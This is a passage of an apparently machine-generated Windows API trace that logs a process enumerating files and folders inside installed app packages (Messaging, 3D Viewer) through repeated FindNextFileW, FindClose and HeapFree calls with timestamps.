lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f919407, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c24fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f93f661, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.547] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0087.547] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f919407, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c24fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f93f661, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 0 [0087.547] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0087.547] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.547] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c2a52, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="holoLens", cAlternateFileName="")) returned 1 [0087.548] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0087.548] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c2f47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 0 [0087.548] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0087.548] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.548] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c3363, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0087.548] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0087.548] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9658ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c39d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9658ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 0 [0087.548] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0087.548] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.548] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c4278, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mobile", cAlternateFileName="")) returned 1 [0087.549] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0087.549] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c5109, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.549] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0087.549] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c5109, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 0 [0087.549] FindClose (in: hFindFile=0x582f08 | out: hFindFile=0x582f08) returned 1 [0087.549] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.549] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c57e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9fe269, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="surfaceHub", cAlternateFileName="SURFAC~1")) returned 1 [0087.550] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0087.550] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9fe269, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c6700, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fa28bd5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.550] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0087.550] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9fe269, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c6700, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fa28bd5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 0 [0087.550] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0087.550] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.550] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c57e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f9fe269, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="surfaceHub", cAlternateFileName="SURFAC~1")) returned 0 [0087.550] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0087.550] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.551] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa28bd5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fa28bd5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fa28bd5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.CPub.BackgroundTasks.winmd", cAlternateFileName="")) returned 1 [0087.553] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.553] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fa4ee54, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c7513, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fa750b2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0087.554] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0087.554] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fac1569, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab78fdf4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PartnerJS", cAlternateFileName="PARTNE~1")) returned 1 [0087.555] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0087.555] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fac1569, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab78fdf4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PartnerJS", cAlternateFileName="PARTNE~1")) returned 0 [0087.555] FindClose (in: hFindFile=0x582f48 | out: hFindFile=0x582f48) returned 1 [0087.555] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.555] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fa750b2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab78e843, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TopicPage", cAlternateFileName="TOPICP~1")) returned 0 [0087.555] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0087.555] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.556] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa4ee54, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fa4ee54, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fa4ee54, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x206c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0087.557] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.557] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f0140b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab5ed36f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f2aa2da, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0 [0087.557] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0087.557] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.557] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x287b925a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbd8a0611, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8a0611, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI5BB5~1.0_N")) returned 1 [0087.559] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.559] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28851bc4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28877e22, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28877e22, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0087.560] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.560] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbd8a0611, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbd8a0611, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8a0611, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0087.560] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0087.560] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.560] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29a48b6f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbd8c685e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8c685e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe", cAlternateFileName="MID6EE~1.SCA")) returned 1 [0087.563] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.563] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbd8c685e, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbd8c685e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8c685e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0087.564] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.564] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c3c6c4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x29c3c6c4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x29c3c6c4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0087.564] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.564] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2889e07b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbd8a0611, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8a0611, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIE03D~1.0_X")) returned 1 [0087.566] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.566] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x288c42d4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2891078c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2891078c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0087.572] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.572] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x289a90fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28a1b80a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28a1b80a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3967, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreyBox.png", cAlternateFileName="")) returned 1 [0087.572] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.572] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a8df1b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28a8df1b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28a8df1b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="Square71x71Logo.scale-200.png", cAlternateFileName="")) returned 1 [0087.574] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.574] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28bc9f4c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28bc9f4c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28bc9f4c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BuildInfo.xml", cAlternateFileName="")) returned 1 [0087.575] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.575] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x294baca8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2950715f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2950715f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PersonPicture.UAP.dll", cAlternateFileName="")) returned 1 [0087.580] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.580] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x289369e5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab9baa69, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x289369e5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1 [0087.581] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.581] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x289369e5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab9baa69, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x289369e5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0 [0087.581] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0087.581] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.582] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac06201d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbed30aaa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIAA72~1.0_N")) returned 1 [0087.760] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.760] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac278116, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac278116, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac278116, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0087.760] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0087.760] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbed30aaa, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbed30aaa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0087.760] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0087.760] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0087.760] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: 